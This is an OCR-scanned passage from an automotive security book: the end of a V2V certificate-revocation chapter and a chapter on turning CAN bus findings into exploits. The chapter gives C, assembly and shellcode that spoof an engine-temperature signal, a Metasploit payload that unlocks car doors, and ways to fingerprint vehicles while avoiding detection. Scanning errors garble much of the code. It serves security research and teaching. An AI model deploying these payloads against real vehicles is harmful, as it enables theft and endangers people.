the roadside devices slowly enough that they have enough time to receive
the CRL. Because most devices will be situated on major highways, with
only a few on side roads, the only opportunity a vehicle might have to
receive an updated list is during a traffic jam. The best way to retrieve an
updated CRL is, therefore, through cellular or full-satellite communication,
though that’s still slow. With high-speed cellular or full-satellite links, it
would be possible to receive incremental updates or full downloads if
required.

One possible way to distribute an updated CRL is to have vehicles
communicate updates to each other via the V2V interface itself. While a
vehicle may not be in contact with a roadside device long enough to
complete an update, it’s sure to encounter hundreds, if not thousands, of
other vehicles on a journey.

Risks of V2V Updates

While updating via the V2V interface is very tempting because it lowers the
infrastructure cost and overhead significantly (because you don’t need to
invest in lots of additional roadside infrastructure) it has its limits. For one, a
vehicle could receive a CRL download only from nearby cars traveling in the
same direction long enough to complete the download; cars going in
opposite directions may pass by too quickly. This V2V method also provides
the opportunity for a bad actor to inject a bad CRL that could either block
legitimate devices or hide bad actors, and that bad CRL could then circulate



through traffic like a virus.

Unfortunately, V2V protocol security focuses entirely on communication
protocols. The onboard system, such as the ECU, is responsible for
requesting and storing CRLs, reporting misbehavior, and sending vehicle
information, but this unsecured system provides an easy gateway for
attackers to inject their code. Instead of taking over the device performing
the actual V2V communication, they could simply modify the ECU
firmware or spoof packets on the bus, and the V2V device would then
faithfully sign and send the information out to the network. It’s because of
this latter vulnerability that this method has been unofficially dubbed the
epidemic distribution model.

Linkage Authorities

When dealing with thousands of pseudonym, or short-term, certificates,
revocation can be a nightmare, and that’s where the linkage authority (LA)
comes in. The LA can revoke all generated certificates from a vehicle with
just one CRL entry. In this way, even if bad actors gather numerous
certificates before being identified and blocked, the LA can still shut them
down.

Most V2V systems are being designed to support an internal blacklist that’s
separate from the CRL. A manufacturer or device may blacklist any device.

Misbehavior Reports

V2V and V21 systems are being designed to allow for the ability to send
misbehavior reports on anything from standard vehicle malfunctions to
notifications of hackers messing with the system. These misbehavior reports
are then supposed to trigger the revocation of certificates. But how does a
vehicle know whether it has a hacked packet? The answer differs for each
automotive industry, but the general concept is that the ECU—or some
other device—would receive a packet and check whether it “makes sense.”
For example, the receiving device might validate a message against a GPS
signal or identify reports of a vehicle traveling at improbable speeds, say 500
mph. When something erroneous is detected, the vehicle should send a



misbehavior report, which would eventually lead to revocation of that
certificate. A misbehavior authority (MA) would be tasked with identifying
and revoking certificates from the misbehaving device.

One interesting scenario to consider is that of a vehicle with a low CRL
update interval—or that of a vehicle that hasn’t been near a roadside device
in awhile—leaving it with an outdated revocation list. Such a vehicle might
unknowingly forward incorrect information, which would cause it to be
reported as a bad actor and which might lead to revocation of its certificate.
What happens then? When can the vehicle be trusted again?

When performing security testing, make sure to include these possible
scenarios in your research.

Summary

This chapter discussed the plan for V2V communication. V2V devices are
still in development and many deployment decisions are still to be made. As
this technology rolls out, the various vendors will interpret the rules
differently and in ways that could lead to interesting security gaps. Hopefully
as these early devices start to trickle out into the marketplace, this chapter
will be a useful guide for performing security audits.



11
WEAPONIZING CAN FINDINGS

Now that you’re able to explore and identify CAN packets, it’s time to put
that knowledge to use and learn to hack something. You've already used
your identified packets to perform actions on a car, but unlocking or starting
a car using packets is recon, rather than actual hacking. The goal of this
chapter is to show you how to weaponize your findings. In the software
world, weaponize means “take an exploit and make it easy to execute.” When
you first find a vulnerability, it may take many steps and specific knowledge
to successfully pull off the exploit. Weaponizing a finding enables you to
take your research and put it into a self-contained executable.

In this chapter, we’ll see how to take an action—for example, unlocking a
car—and put it into Metasploit, a security auditing tool designed to exploit
software. Metasploit is a popular attack framework often used in penetration
testing. It has a large database of functional exploits and payloads, the code
that runs once a system has been exploited—for example, once the car has
been unlocked. You'll find a wealth of information on Metasploit online and
in print, including Metasploit: The Penetration Tester’s Guide (No Starch Press,
2011).

In order to weaponize your findings you wi/l need to write code. In this
chapter, we’ll write a Metasploit payload designed to target the architecture
of the infotainment or telematics system. As our first exercise, we’ll write



shellcode, the small snippet of code that’s injected into an exploit, to create a
CAN signal that will control a vehicle’s temperature gauge. We’ll include a
loop to make sure our spoofed CAN signal is continuously sent, with a
builtin delay to prevent the bus from being flooded with packets that might
create an inadvertent denial-of-service attack. Next, we’ll write the code to
control the temperature gauge. Then, we’ll convert that code into shellcode
so that we can fine-tune it to make the shellcode smaller or reduce NULL
values if necessary. When we’re finished, we’ll have a payload that we can
place into a specialized tool or use with an attack framework like Metasploit.

To get the most out of this chapter, you’ll need to have a good understanding of
programming and programming methodologies. I assume some familiarity
with C and assembly languages, both x86 and ARM, and the Metasploit
framework.

Writing the Exploit in C

We’ll write the exploit for this spoofed CAN signal in C because C compiles
to fairly clean assembly that we can reference to make our shellcode. We’ll
use vcan(, a virtual CAN device, to test the exploit, but for the real exploit,
you’d want to instead use can0 or the actual CAN bus device that you're
targeting. Listing 11-1 shows the temp_shell exploit.

You’ll need to create a virtual CAN device in order to test this program. See
Chapter 3 for details.

In Listing 11-1, we create a CAN packet with an arbitration ID of 0x510
and set the second byte to OxFF. The second byte of the 0x510 packet
represents the engine temperature. By setting this value to 0xFF, we max out
the reported engine temperature, signaling that the vehicle is overheating.
The packet needs to be sent repeatedly to be effective.

-—-- temp_shell.c
#include <sys/types.h>



#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <linux/can.h>
#include <string.h>

int main(int argc, char *argv[]) {
int s;

struct sockaddr_ can addr;

struct ifreq ifr;
struct can_frame frame;

s = socket (@PF_CAN, SOCK_RAW, CAN_RAW) ;

strepy (ifr.ifr name, ®"vcan0");
ioctl (s, SIOCGIFINDEX, &ifr);

addr.can_family = AF_CAN;
addr.can_ifindex = ifr.ifr_ifindex;

bind (s, (struct sockaddr *)&addr, sizeof (addr)) ;

©® frame.can_id = 0x510;

frame.can_dlc = 8;
frame.data[l] = OxFF;
while (1) {

write (s, &frame, sizeof(struct can_frame)) ;
O usleep(500000);

}
}

Listing 11-1: C loop to spam CAN ID Ox510

Listing 11-1 sets up a socket in almost the same way as you’d set up a

normal networking socket, except it uses the CAN family pr_can @. We use
ifr_name to define which interface we want to listen on—in this case, "vcano"

23
We can set up our frame using a simple frame structure that matches our

packet, with can_id ® containing the arbitration ID, can_dic containing the
packet length, and the aata(] array holding the packet contents.

We want to send this packet more than once, so we set up a while loop

and set a sleep timer @ to send the packet at regular intervals. (Without the
sleep statement, you'd flood the bus and other signals wouldn’t be able to



talk properly.)
To confirm that this code works, compile it as shown here:

S gcc -o temp shellcode temp_ shellcode.c

S 1ls -1 temp_shell

-rwxrwxr-x 1 craig craig 8722 Jan 6 07:39 temp_shell
$ ./temp_shellcode

Now run candump in a separate window on vcan0, as shown in the next
listing. The temp_shellcode program should send the necessary CAN packets

to control the temperate gauge.

S candump vcanO
vecan0 @510 [8] ®5D OFF O®40 00 00 00 00 00

vcan0O 510 [8] 5D FF 40 00 00 00 00 00
vcan0O 510 [8] 5D FF 40 00 00 00 00 00
vcan0 510 [8] 5D FF 40 00 00 00 00 00

The candump results show that the signal 0x510 @ is repeatedly broadcast

and that the second byte is properly set to OxFF ©. Notice that the other
values of the CAN packet are set to values that we didn’t specify, such as

0x5D @ and 0x40 @. This is because we didn’t initialize the frame.data
section, and there is some memory garbage in the other bytes of the signal.
To get rid of this memory garbage, set the other bytes of the 0x510 signal to
the values you recorded during testing when you identified the signal—that
is, set the other bytes to frame.data(].

Converting to Assembly Code

Though our temp_shell program is small, it’s still almost 9KB because we
wrote it in C, which includes a bunch of other libraries and code stubs that
increase the size of the program. We want our shellcode to be as small as
possible because we’ll often have only a small area of memory available for
our exploit to run, and the smaller our shellcode, the more places it can be
injected.

In order to shrink the size of our program, we’ll convert its C code to
assembly and then convert the assembly shellcode. If you’re already familiar
with assembly language, you could just write your code in assembly to begin
with, but most people find it easier to test their payloads in C first.



The only difference between writing this script and standard assembly
scripts is that you’ll need to avoid creating NULLSs, as you may want to
inject the shellcode into a buffer that might null-terminate. For example,
buffers that are treated as strings will scan the values and stop when it see a
NULL value. If your payload has a NULL in the middle, your code won’t
work. (If you know that your payload will never be used in a buffer that will
be interpreted as a string, then you can skip this step.)

Alternatively, you could wrap your payload with an encoder to hide any
NULLs, but doing so will increase its size, and using encoders is beyond the
scope of this chapter. You also won’t have a data section to hold all of your
string and constant values as you would in a standard program. We want our
code to be self-sufficient and we don’t want to rely on the ELF header to set up
any values for us, so if we want to use strings in our payload, we have to be
creative in how we place them on the stack.

In order to convert the C code to assembly, you will need to review the
system header files. All method calls go right to the kernel, and you can see
them all in this header file:

/usr/include/asm/unistd_64.h

For this example, we’ll use 64-bit assembly, which uses the following
regkﬁers:%rax,%rbx,%rcx,%rdx,%rsi,%rdi,%rbp,%rsp,%r8,%rl5,%rip,
%eflags,%cs,%ss,%ds,%es,%fs,and,%gs.

To call a kernel system call, use sysca11—rather than int oxso—where
srax has the system call number, which you can find in unistd_64.h. The
parameters are passed in the registers in this order: srdi, srsi, srdx, srio,
sr8, and %r9.

Note that the register order is slightly different than when passing
arguments to a function.

Listing 11-2 shows the resulting assembly code that we store in the

temp_shell.s file.

--- temp_shell.S
section .text



global _start

_start:

; s = socket (PF_CAN, SOCK_RAW, CAN_RAW) ;
push 41 ; Socket syscall from unistd_64.h
pop rax

push 29 ; PF_CAN from socket.h

pop rdi

push 3 ; SOCK_RAW from socket_type.h

pop rsi

push 1 ; CAN_RAW from can.h

pop rdx

syscall

mov r8, rax ; s / File descriptor from socket
; strecpy(ifr.ifr_name, "vcanO");

sub rsp, 40 ; struct ifreqg is 40 bytes

xor r9, r9 ; temp register to hold interface name
mov r9, 0x306e616376 ; vcanO
push r9

pop gword [rsp]
; l1octl (s, SIOCGIFINDEX, &ifr);
push 16 ; ioctrl from unistd_64.h

pop rax

mov rdi, r8 ; s / File descriptor
push 0x8933 ; SIOCGIFINDEX from ioctls.h
pop rsi

mov rdx, rsp ; &ifr

syscall

xor r9, r9 ; clear r9

mov r9, [rsp+l6] ; ifr.ifr_ifindex

; addr.can_family = AF_CAN;

sub rsp, 16 ; sizeof sockaddr_can

mov word [rspl, 29 ; AF_CAN == PF_CAN
; addr.can_ifindex = ifr.ifr_ifindex;
mov [rsp+4], r9

; bind(s, (struct sockaddr *)&addr,
sizeof (addr)) ;
push 49 ; bind from unistd_64.h

pop rax

mov rdi, r8 ; s /File descriptor

mov rsi, rsp ; &addr

mov rdx, 16 ; sizeof (addr)

syscall

sub rsp, 16 ; sizeof can_frame

mov word [rsp], 0x510 ; frame.can_id = 0x510;
mov byte [rsp+4], 8 ; frame.can_dlc = 8;

mov byte [rsp+9], OxXFF ; frame.data[l] = OxXFF;
; while (1)

loop:

; write(s, &frame, sizeof (struct can_frame)) ;



push 1 ; write from unistd_64.h

pop rax
mov rdi, r8 ; s / File descriptor
mov rsi, rsp ; &frame

mov rdx, 16 ; sizeof can_frame
syscall

; usleep(500000) ;

push 35 ; nanosleep from unistd_64.h
pop rax

sub rsp, 16

xor rsi, rsi

mov [rsp], rsi ; tv_sec

mov dword [rsp+8], 500000 ; tv_nsec
mov rdi, rsp

syscall

add rsp, 16

jmp loop

Listing 11-2: Sending CAN ID 0Ox510 packets in 64-bit assembly

The code in Listing 11-2 is exactly the same as the C code we wrote in
Listing 11-1, except that it’s now written in 64-bit assembly.

Ive commented the code to show the relationship between the lines of the
original C code and each chunk of assembly code.

To compile and link the program to make it an executable, use nasm and
14, as shown here:

S nasm -f elf64 -o temp shell2.o0 temp_ shell.S
S 1d -o temp_shell2 temp shell2.o
S 1ls -1 temp_shell2

-rwxrwxr-x 1 craig craig @1008 Jan 6 11:32 temp_shell?2

The size of the object header now shows that the program is around 1008

bytes @, or just over 1KB, which is significantly smaller than the compiled C
program. Once we strip the ELF header caused by the linking step (14), our
code will be even smaller still.

Converting Assembly to Shellcode

Now that your program is of more suitable size, you can use one line of Bash



to convert your object file to shellcode right at the command line, as shown
in Listing 11-3.

$ for i in $(objdump -4 temp_shell2.o -M intel |grep "4 " |cut -£2); do
echo

-n '\x'$i; done;echo
\x6a\x29\x58\x6a\x1d\x5f\x6a\x03\x5e\x6a\x01\x5a\x0£\x05\x49\x89\xc0\x48
xec\x28\x4d\x31\xc9\x49\xb9\x76\x63\x61\x6e\x30\x00\x00\x00\x41\x51\x8f\
x24\x6a\x10\x58\x4c\x89\xc7\x68\x33\x89\x00\x00\x5e\x48\x89\xe2\x0£\x05\
x31\xcI9\x4c\x8b\x4c\x24\x10\x48\x83\xec\x10\x66\xc7\x04\x24\x1d\x00\x4c\
x4c\x24\x04\x6a\x31\x58\x4c\x89\xc7\x48\x89\xeb\xba\x10\x00\x00\x00\x0£\
x48\x83\xec\x10\x66\xc7\x04\x24\x10\x05\xc6\x44\x24\x04\x08 \xc6\x44\x24\
xff\x6a\x01\x58\x4c\x89\xc7\x48\x89\xeb\xba\x10\x00\x00\x00\x0£\x05\x6a\
x58\x48\x83\xec\x10\x48\x31\xf6\x48\x89\x34\x24\xc7\x44\x24\x08\x20\xal\
x00\x48\x89\xe7\x0£\x05\x48\x83\xc4\x10\xeb\xct

Listing 11-3: Converting object file to shellcode

This series of commands runs through your compiled object file and pulls
out the hex bytes that make up the program, printing them to the screen.
The bytes output is your shellcode. If you count up the printed bytes, you
can see that this shellcode is 168 bytes—that’s more like it.

Removing NULLs

But we’re not done yet. If you look at the shellcode in Listing 11-3, you’ll
notice that we still have some NULL values (\x00) that we need to eliminate.
One way to do so is to use a loader, which Metasploit has, to wrap the bytes
or rewrite parts of the code to eliminate the NULLs.

You could also rewrite your assembly to remove NULLSs from the final
assembly, typically by replacing MOVs and values that would have NULLs
in them with a command to erase a register and another command to add
the appropriate value. For instance, a command like mov rpz, 0x03 Will
convert to hex that has a lot of leading NULLs before the 3. To get around
this, you could first XOR RDI to itself (xor &bz, rpr), which would result in
RDI being a NULL, and then increase RDI (znc rp1) three times. You may
have to be creative in some spots.

Once you’ve made the modifications to remove these NULL values, you
can convert the shellcode to code that can be embedded in a string buffer. I
won’t show the altered assembly code because it’s not very legible, but the
new shellcode looks like this:



\x6a\x29\x58\x6a\x1d\x5f\x6a\x03\x5e\x6a\x01\x5a\x0£\x05\x49\x89\xc0\x48
xec\x28\x4d\x31\xc9\x41\xb9\x30\x00\x00\x00\x49\xcl\xel\x20\x49\x81\xcl\
x63\x61\x6e\x41\x51\x8f\x04\x24\x6a\x10\x58\x4c\x89\xc7\x41\xbo\x11\x11\
x89\x49\xcl\xe9\x10\x41\x51\x5e\x48\x89\xe2\x0£f\x05\x4d\x31\xc9\x4c\x8b\
x24\x10\x48\x83\xec\x10\xcb\x04\x24\x1d\x4c\x89\x4c\x24\x04\x6a\x31\x58\
x89\xc7\x48\x89\xeb\xba\x11\x11\x11\x10\x48\xcl\xea\x18\x0f\x05\x48\x83\
x10\x66\xc7\x04\x24\x10\x05\xc6\x44\x24\x04\x08\xc6\x44\x24\x09\xff\x6a\
x58\x4c\x89\xc7\x48\x89\xeb\x0f\x05\x6a\x23\x58\x48\x83\xec\x10\x48\x31\
x48\x89\x34\x24\xc7\x44\x24\x08\x00\x65\xcd\x1d\x48\x89\xe7\x0£\x05\x48\
xcd\x10\xeb\xd4

Creating a Metasploit Payload

Listing 11-4 is a template for a Metasploit payload that uses our shellcode.
Save this payload in modules/payloads/singles/linux/armle/, and name it
something similar to the action that you’ll be performing, like flood_temp.rb.
The example payload in Listing 11-4 is designed for an infotainment system
on ARM Linux with an Ethernet bus. Instead of modifying temperature, this
shellcode unlocks the car doors. The following code is a standard payload
structure, other than the payload variable that we set to the desired vehicle

shellcode.

Require 'msf/core’

module Metasploit3
include Msf::Payload::Single
include Msf::Payload: :Linux

def initialize(info = {})

super (merge_info (info,

'Name' => 'Unlock Car',

'Description' => 'Unlocks the Driver Car Door over Ethernet',
'Author' => 'Craig Smith',

'License' => MSF LICENSE,

'Platform' => 'linux',

'"Arch' => ARCH_ARMLE))

end

def generate_stage (opts={})

O payload =
"\x02\x00\xa0\xe3\x02\x10\xa0\xe3\x11\x20\xa0\xe3\x07\x00\x2d\
xe9\x01\x00\xa0\xe3\x0d\x10\xa0\xel\x66\x00\x90\xef\x0c\xd0\x8d\xe2\x00\
xa0\xel\x21\x13\xa0\xe3\x4e\x18\x81\xe2\x02\x10\x81\xe2\xff\x24\xa0\xe3\
x28\x82\xe2\x2a\x2b\x82\xe2\xc0\x20\x82\xe2\x06\x00\x2d\xe9\x0d\x10\xa0\
x10\x20\xa0\xe3\x07\x00\x2d\xe9\x03\x00\xa0\xe3\x0d\x10\xa0\xel\x66\x00\
xef\x14\xd0\x8d\xe2\x12\x13\xa0\xe3\x02\x18\x81\xe2\x02\x28\xa0\xe3\x00\



xa0\xe3\x0e\x00\x2d\xe9\x0d\x10\xa0\xel\x0c\x20\xa0\xe3\x06\x00\xa0\xel\
x00\x2d\xe9\x09\x00\xa0\xe3\x0d\x10\xal0\xel\x66\x00\x90\xef\x0c\xd0\x8d\
x00\x00\xal0\xe3\xle\xff\x2f\xel"

end

end

Listing 11-4: Template for Metasploit payload using our shellcode

The payload variable @ in Listing 11-4 translates to the following ARM
assembly code:

/* Grab a socket handler for UDP */

mov %r0, $2 /* AF_INET */

mov %rl, $2 /* SOCK_DRAM */

mov %r2, S$17 /* UDP */

push {%r0, %rl, %r2}

mov %r0, S$1 /* socket */

mov %rl, %sp

svc 0x00900066

add %sp, %sp, $12

/* Save socket handler to %r6 */
mov %r6, %r0

/* Connect to socket */

mov %rl, $0x84000000

add %rl, $0x4e0000

add %rl, $2 /* 20100 & AF_INET */
mov %r2, SOxff000000

add %r2, $0x450000

add %r2, $0xa800

add %r2, $0xcO0 /* 192.168.69.255 */
push {%rl, %r2}

mov %rl, %sp

mov %r2, $16 /* sizeof socketaddr in */
push {%r0, %rl, %r2}

mov %r0, S$3 /* connect */

mov %rl, %sp

svce 0x00900066

add %$sp, %sp, $20

/* CAN Packet */
/* 0000 0248 0000 0200 0000 0000 */

mov %rl, $0x48000000 /* Signal */

add %$rl, $0x020000

mov %r2, $0x00020000 /* 1lst 4 bytes */
mov %r3, $0x00000000 /* 2nd 4 bytes */
push {%rl, %r2, %r3}

mov %rl, %sp

mov %r2, $12 /* size of pkt */



/* Send CAN Packet over UDP */
mov %r0, %r6

push {%r0, %rl, %r2}

mov %r0, $9 /* send */

mov %rl, %sp

svc 0x00900066

add %sp, %sp, $12

/* Return from main - Only for testing, remove for exploit */
mov %r0, SO
bx 1r

This code is similar to the shellcode we created in Listing 11-3, except
that it’s built for ARM rather than x64 Intel, and it functions over Ethernet
instead of talking directly to the CAN drivers. Of course, if the infotainment
center uses a CAN driver rather than an Ethernet driver, you need to write
to the CAN driver instead of the network.

Once you have a payload ready, you can add it to the arsenal of existing
Metasploit exploits for use against a vehicle’s infotainment center. Because
Metasploit parses the payload file, you can simply choose it as an option to
use against any target infotainment unit. If a vulnerability is found, the
payload will run and perform the action of the packet you mimicked, such as
unlocking the doors, starting the car, and so on.

You could write your weaponizing program in assembly and use it as your
exploit rather than going through Metasploit, but I recommend using
Metasploit. It has a large collection of vebicle-based payloads and exploits
available, so it’s worth the extra time it takes to convert your code.

Determining Your Target Make

So far you’ve located a vulnerability in an infotainment unit and you have
the CAN bus packet payload ready to go. If your intention was to perform a
security engagement on just one type of vehicle, you’re good to go. But if
you intend to use your payload on all vehicles with a particular infotainment
or telematics system installed, you have a bit more to do; these systems are
installed by various manufacturers and CAN bus networks vary between
manufacturers and even between models.



In order to use this exploit against more than one type of vehicle, you’ll
need to detect the make of the vehicle that your shellcode is executing on
before transmitting packets.

Failure to detect the make of the vehicle could produce unexpected results and
could be very dangerous! For example, a packet that on one make of vehbicle
unlocks the car door could bleed the brakes on another. There’s no way to know
for sure where your exploit will run, so be sure to verify the vehicle.

Determining the make of vehicle is analogous to determining which OS
version the target host is running, as we did in “Determining the Update
File Type” on page 160. You may be able to find this information in the
memory space of the infotainment unit by adding the ability to scan RAM in
your shellcode. Otherwise, there are two ways to determine what type of
vehicle your code is running on via the CAN bus: interactive probing and
passive CAN bus fingerprinting.

Interactive Probing

The interactive probing method involves using the ISO-TP packets to query
the PID that holds the VIN. If we can access the VIN and decipher the
code, it'll tell us the make and model of the target vehicle.

Querying the VIN

Recall from “Sending Data with ISO-TP and CAN” on page 55 that you use
the OBD-II Mode 2 PID 9 protocol to query the VIN. This protocol uses
the ISO-TP multipacket standard, which can be cumbersome to implement
in shellcode. You can, however, just take what you need from the ISO-TP
standard rather than implementing it in full. For example, because ISO-TP
runs as normal CAN traffic, you could send a packet with your shellcode
using an ID of 0x7DF and a 3-byte packet payload of 0x02 0x09 0x02; then
you could receive normal CAN traffic with an ID 0x7ES8. The first packet
received will be part of a multipart packet followed by the remaining packets.
The first packet has the most significant information in it and may be all you
need to differentiate between vehicles.



You could assemble the multipart packet yourself and then implement a full
VIN decoder, but doing so can be inefficient. Regardless of whether you
reassemble the full VIN or just use a segment of the VIN, it’s better to decode
the VIN yourself.

Decoding the VIN

The VIN has a fairly simple layout. The first three characters, known as the
World Manufacturer Identifier (WMI) code, represent the make of the vehicle.
The first character in the WMI code determines the region of manufacture.
The next two characters are manufacturer specific. (The list is too long to
print here, but you can find a list of WMI codes with a simple online search.)
For example, in Chapter 4 (see Table 4-4 on page 57) we had a VIN of
1G1ZT53826F109149, which gave us a WMI of 1G1. According to the
WMI codes, this tells us that the make of the car is Chevrolet.

The next 6 bytes of the VIN make up the Vebicle Descriptor Section (VDS).
The first 2 bytes in the VDS—bytes 4 and 5 of the VIN—tell us the vehicle
model and other specs, such as how many doors the vehicle has, the engine
size, and so on. For example, in the VIN 1G1Z2T53826F109149, the VDS is
2’15382, of which ZT gives us the model. A quick search online tells us that
this is a Chevrolet Malibu. (The details of the VDS vary depending on the
vehicle and the manufacturer.)

If you need the year your vehicle was made, you’ll have to grab more
packets because the year is stored at byte 10. This byte isn’t directly
translatable, and you’ll need to use a table to determine the year (see Table
11-1).

Table 11-1: Determining the Year of Manufacture

Character Year Character Year Character Year Character Year

A 1980 L 1990 Y 2000 A 2010
B 1981 M 1991 1 2001 B 2011
C 1982 N 1992 2 2002 C 2012
D 1983 P 1993 3 2003 D 2013



E 1984 R 1994 4 2004 E 2014
F 1985 W 1995 5 2005 F 2015
G 1986 T 1996 6 2006 G 2016
H 1987 V 1997 7 2007 H 2017
J 1988 W 1998 8 2008 ] 2018
K 1989 X 1999 9 2009 K 2019

For exploit purposes, knowing the year isn’t as important as knowing
whether your code will work on your target vehicle, but if your exploit
depends on an exact make, model, and year, you’ll need to perform this step.
For instance, if you know that the infotainment system you’re targeting is
installed in both Honda Civics and Pontiac Azteks, you can check the VIN
to see whether your target vehicle fits. Hondas are manufactured in Japan
and Pontiacs are made in North America, so the first byte of the WMI needs
to be either a 7 or a 1, respectively.

Your payload would still work on other vehicles made in North America or
Fapan if that radio unit is installed in some other vebicle that you’re unaware

of

Once you know what platform you’re running on, you can either execute
the proper payload if you’ve found the right vehicle or exit out gracefully.

Detection Risk of Interactive Probing

The advantage of using interactive probing to determine the make of your
target vehicle is that this method will work for any make or model of car.
Every car has a VIN that can be decoded to give you the information you
need, and you need no prior knowledge of the platform’s CAN packets in
order to make a VIN query. However, this method does require you to
transmit the query on the CAN bus, which means it’s detectable and you may
be discovered before you can trigger your payload. (Also, our examples used
cheap hacks to avoid properly handling ISO-TP, which could lead to errors.)



Passive CAN Bus Fingerprinting

If you’re concerned about being detected before you can use your payload,
you should avoid any sort of active probing. Passive CAN bus fingerprinting
is less detectable, so if you discover that the model vehicle you’re targeting
isn’t supported by your exploit, you can exit gracefully without having
created any network traffic, thus limiting your chances of being detected.
Passive CAN bus fingerprinting involves monitoring network traffic to
gather information unique to certain makes of vehicles and then matching
that information to a known fingerprint. This area of research is relatively
new, and as of this writing, the only tools available for gathering and
detecting bus fingerprints are the ones released by Open Garages.

The concept of passive CAN bus fingerprinting is taken from [Pv4
passive operating system fingerprinting, like that used by the p0Of tool. When
passive IPv4 fingerprinting, details in the packet header, such as the window
size and "T"'T'L values, can be used to identify the operating system that
created the packet. By monitoring network traffic and knowing which
operating systems set which values in the packet header by default, it’s
possible to determine which operating system the packet originated from
without transmitting on the network.

We can use a similar methodology with CAN packets. The unique
identifiers for CAN are as follows:

* Dynamic size (otherwise set to 8 bytes)
* Intervals between signals

* Padding values (0x00, OxFF 0xAA, and so on)

* Signals used

Because different makes and models use different signals, unique signal
IDs can reveal the type of vehicle that’s being examined. And even when the
signal IDs are the same, the timing intervals can be unique. Each CAN
packet has a DLC field to define the length of the data, though some
manufacturers will set this to 8 by default and pad out the data to always
ensure that 8 bytes are used. Manufacturers will use different values to pad
their data, so this can also be an indicator of the make.



CAN of Fingers

The Open Garages tool for passive fingerprinting is called CAN of Fingers
(c0f) and is available for free at hteps://github.com/zombieCraig/c0f/. cOf
samples a bunch of CAN bus packets and creates a fingerprint that can later
be identified and stored. A fingerprint from cOf—a JSON consumable object
—might look like this:

{"Make": "Unknown", "Model": "Unknown", "Year": "Unknown", "Trim":
"Unknown",

"Dynamic": "true", "Common": [ { "ID": "l66" },{ "ID": "158" },{ "ID":
II161II },

{ IIIDII: Ill9lll }I{ IIIDII: Ill8Ell }I{ IIIDII: Ill33ll }I{ IIIDII: Ill36ll }I{ IIIDII:
II13AII },

{ IIIDII: Ill3Fll }I{ IIIDII: Ill64ll }I{ IIIDII: Ill7cll }I{ IIIDII: Ill83ll }I{ IIIDII:
II143II },
{ "ID": "095" } 1, "MainID": "143", "MainInterval":

"0.009998683195847732"}

Five fields make up the fingerprint: make, Model, Year, Trim, and Dynamic.
The first four values—wuake, Model, vear, and Trim—are all listed as unknown if
they’re not in the database. Table 11-2 lists the identified attributes that are
unique to the vehicle.

Table 11-2: Vehicle Attributes for Passive Fingerprinting

Attribute Value Description
type

Dynamic Binary If the DLC has a dynamic length, this is set to true.

value

Padding Hex  If padding is used, this attribute will be set to the byte
value  used for padding. This example does not have padding,
so the attribute is not included.

Common Array of The common signal IDs based on the frequency seen on
IDs the bus.

Main ID Hex ID The most common signal ID based on the frequency of
occurrence and interval.

Main Floating The shortest interval time of the most common 1D
Interval point  (MainlD) that repeats on the bus.


https://github.com/zombieCraig/c0f/

value

Using cOf

Many CAN signals that fire at intervals will appear in a logfile the same
amount of times as each other, with similar intervals between occurrences.
cOf will group the signals together by the number of occurrences.

To get a better idea of how cOf determines the common and main IDs,
run cof with the --print-stats option, as shown in Listing 11-5.

S bundle exec bin/c0f --logfile test/sample-can.log --print-stats
Loading Packets... 6158/6158

|*******************************************
*******l 0:00
Packet Count (Sample Size): 6158

Dynamic bus: true
[Packet Stats]

166 [4] interval 0.010000110772939828 count 326
158 [8] interval 0.009999947181114783 count 326
161 [8] interval 0.009999917103694035 count 326
191 [7] interval 0.009999932509202223 count 326
18E [3] interval 0.010003759677593524 count 326
133 [5] interval 0.0099989076761099 count 326

136 [8] interval 0.009998913544874925 count 326
13A [8] interval 0.009998914278470553 count 326
13F [8] interval 0.009998904741727389 count 326
164 [8] interval 0.009998898872962365 count 326
17C [8] interval 0.009998895204984225 count 326
183 [8] interval 0.010000821627103366 count 326

©® 039 [2] interval 0.015191149488787786 count 215
® 143 [4] interval 0.009998683195847732 count 326

095 [8] interval 0.010001396766075721 count 326
1CF [6] interval 0.01999976016857006 count 163
1DC [4] interval 0.019999777829205548 count 163
320 [3] interval 0.10000315308570862 count 33
324 [8] interval 0.10000380873680115 count 33
37C [8] interval 0.09999540448188782 count 33
1A4 [8] interval 0.01999967775227111 count 163
1AA [8] interval 0.019999142759334967 count 162
1BO [7] interval 0.019999167933967544 count 162
1D0 [8] interval 0.01999911758470239 count 162
294 [8] interval 0.039998024702072144 count 81
21E [7] interval 0.039998024702072144 count 81
309 [8] interval 0.09999731183052063 count 33
333 [7] interval 0.10000338862019201 count 32
305 [2] interval 0.1043075958887736 count 31
40C [8] interval 0.2999687910079956 count 11
454 [3] interval 0.2999933958053589 count 11



428 [7] interval 0.3000006914138794 count 11
405 [8] interval 0.3000005006790161 count 11
521 [8] interval 1.00019109249115 count 3

Listing 11-5: Running cor with the --print-stats option

The common IDs are the grouping of signals that occurred 326 times
(the highest count). The main ID is the common ID with the shortest

average interval—in this case, signal 0x143 at 0.009998 ms @.

The c0f tool saves these fingerprints in a database so that you can
passively identify buses, but for the purpose of shellcode development, we
can just use main ID and main interval to quickly determine whether we’re
on the target we expect to be on. Taking the result shown in Listing 11-5 as
our target, we’d listen to the CAN socket for signal 0x143 and know that the
longest we’d have to wait is 0.009998 ms before aborting if we didn’t see an
ID of 0x143. (Just be sure that when you’re checking how much time has
passed since you started sniffing the bus, you use a time method with high
precision, such as clock_gettime.) You could get more fine-grained
identification by ensuring that you also identified all of the common IDs as
well.

It’s possible to design fingerprints that aren’t supported by c0Of. For
instance, notice in the cOf statistical output in Listing 11-5 that the signal ID

0x039 occurred 215 times @. That’s a strange ratio compared to the other
common packets. The common packets are occurring about 5 percent of the
time, but 0x039 occurs about 3.5 percent of the time and is the only signal
with that ratio. Your shellcode could gather a common ID and calculate the
ratio of 0x039 occurring to see whether it matches. This could just be a fluke
based on current vehicle conditions at the time of the recording, but it might
be interesting to investigate. The sample size should be increased and
multiple runs should be used to verify findings before embedding the
detection into your shellcode.

cOf isn’t the only way to quickly detect what type of vebicle you’re on; the
output could be used for additional creative ways to identify your target system
without transmitting packets. The future may bring systems that can bide
from cOf, or we may discover a newer, more efficient way to passively identify a




target vehicle.

Responsible Exploitation

You now know how to identify whether your exploit is running on the target
it’s designed for and even how to check without transmitting a single packet.
You don’t want to flood a bus with a bogus signal, as this will shut the
network down, and flooding the wrong signal on the wrong vehicle can have
unknown affects.

When sharing exploit code, consider adding a bogus identification
routine or complete VIN check to prevent someone from simply launching
your exploit haphazardly. Doing so will at least force the script kiddies to
understand enough of the code to modify it to fit the proper vehicles. When
